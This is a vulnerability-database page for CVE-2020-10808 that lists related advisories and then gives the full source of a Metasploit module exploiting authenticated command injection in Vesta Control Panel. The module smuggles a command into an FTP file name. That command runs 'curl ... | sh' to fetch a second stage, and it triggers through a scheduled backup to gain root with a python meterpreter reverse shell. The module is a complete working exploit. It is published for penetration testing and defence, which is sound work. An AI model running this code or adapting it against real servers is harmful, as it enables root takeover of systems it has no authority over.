| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution Exploit | 6 Apr 202000:00 | – | zdt | |
| Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution Exploit | 14 Apr 202000:00 | – | zdt | |
| CVE-2020-10808 | 13 Apr 202022:10 | – | circl | |
| Vesta Control Panel Operating System Command Injection Vulnerability | 23 Mar 202000:00 | – | cnvd | |
| CVE-2020-10808 | 22 Mar 202016:07 | – | cve | |
| CVE-2020-10808 | 22 Mar 202016:07 | – | cvelist | |
| Vesta Control Panel 0.9.8-26 - Authenticated Remote Code Execution (Metasploit) | 6 Apr 202000:00 | – | exploitdb | |
| CVE-2020-10808 | 22 Mar 202017:15 | – | nvd | |
| Vesta Control Panel Authenticated Remote Code Execution | 6 Apr 202000:00 | – | packetstorm | |
| Vesta Control Panel Authenticated Remote Code Execution | 14 Apr 202000:00 | – | packetstorm |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vesta Control Panel Authenticated Remote Code Execution',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in the v-list-user-backups
bash script file in Vesta Control Panel to gain remote code execution as the root user.
},
'License' => MSF_LICENSE,
'Author' => [
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' => [
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],
['CVE', '2020-10808']
],
'DefaultOptions' => {
'SSL' => true,
'WfsDelay' => 300,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => '2020-03-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'Reliability' => [ FIRST_ATTEMPT_FAIL, ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK, ]
}
)
)
register_options(
[
Opt::RPORT(8083),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
deregister_options('FTPUSER', 'FTPPASS')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def login
#
# This is very simple login process. Nothing important.
# We will be using cookie and csrf_token across the module as instance variables.
#
print_status('Retrieving cookie and csrf token values')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login', '/')
})
unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")
end
if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
end
@cookie = res.get_cookies
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''
if @csrf_token.empty?
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')
end
print_good('Cookie and CSRF token values successfully retrieved')
print_status('Authenticating to HTTP Service with given credentials')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'cookie' => @cookie,
'vars_post' => {
'token' => @csrf_token,
'user' => username,
'password' => password
}
})
unless res
fail_with(Failure::Unreachable, 'Target is unreachable.')
end
if res.body.include?('Invalid username or password.')
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end
if res.body.include?('Invalid or missing token')
fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')
end
if res.code == 302
if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')
end
@cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")
end
end
def start_backup_and_trigger_payload
#
# Once a scheduled backup is triggered, the v-backup-user script will be executed.
# This script will take the file name that we provided and will insert it into backup.conf
# so that the backup process can be performed correctly.
#
# At this point backup.conf should contain our payload, which we can then trigger by browsing
# to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain
# remote code execution) if no other backup processes are currently running.
#
# As a result, the exploit will check to see if a backup is currently running. If one is, it will print
# 'An existing backup is already running' to the console until the existing backup is completed, at which
# point it will trigger its own backup to trigger the command injection using the malicious command that was
# inserted into backup.conf
print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')
is_scheduled_backup_running = true
while is_scheduled_backup_running
# Trigger the scheduled backup process
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/')
})
if res && res.code == 302 && res.headers['Location'] =~ %r{/list/backup/}
# Due to a bug in send_request_cgi we must manually redirect ourselves!
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/')
})
if res && res.code == 200
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')
# An existing backup is taking place, so we must wait for it to finish its job!
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')
sleep(30)
elsif res.body.include?('Task has been added to the queue.')
# Backup process is being initiated
print_good('Scheduled backup has been started ! ')
else
fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')
end
else
# The web server couldn't reply to the request within given timeout window because our payload
# executed in the background. This means that the res object will be 'nil' due to send_request_cgi()
# timing out, which means our payload executed!
print_good('Payload appears to have executed in the background. Enjoy the shells <3')
is_scheduled_backup_running = false
end
else
fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')
end
end
end
def payload_implant
#
# Our payload will be placed as a file name on FTP service.
# Payload length can't be more then 255 and SPACE can't be used because of a
# bug in the backend software.
# s
# Due to these limitations, the payload is fetched using curl before then
# being executed with perl. This perl script will then fetch the full
# python payload and execute it.
#
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack1('H*')
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
# Yet another datastore variable overriding.
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
port_restore = datastore['RPORT']
datastore['RPORT'] = 21
datastore['FTPUSER'] = username
datastore['FTPPASS'] = password
#
# Connecting to the FTP service with same creds as web ui.
# Implanting the very first stage of payload as a empty file.
#
if !connect_login
fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')
end
print_good('Successfully authenticated to the FTP service')
res = send_cmd_data(['PUT', ".a';$(#{p});'"], '')
if res.nil?
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload to FTP server')
end
print_good('The file with the payload in the file name has been successfully uploaded.')
disconnect
register_file_for_cleanup("/home/#{username}/.a';$(#{p});'")
# Revert datastore variables.
datastore['RPORT'] = port_restore
datastore['SSL'] = true if ssl_restore
end
def exploit
start_http_server
payload_implant
login
start_backup_and_trigger_payload
end
def on_request_uri(cli, _request)
print_good('First stage is executed ! Sending 2nd stage of the payload')
second_stage = "python -c \"#{payload.encoded}\""
send_response(cli, second_stage, { 'Content-Type' => 'text/html' })
register_file_for_cleanup("/usr/local/vesta/data/users/#{username}/backup.conf")
end
def start_http_server
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => resource_uri
},
'ssl' => false # do not use SSL
})
print_status("Second payload download URI is #{get_uri}")
# We need to use instance variables since get_uri keeps using
# the SSL setting from the datastore.
# Once the URI is retrieved, we will restore the SSL settings within the datastore.
@second_stage_url = get_uri
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation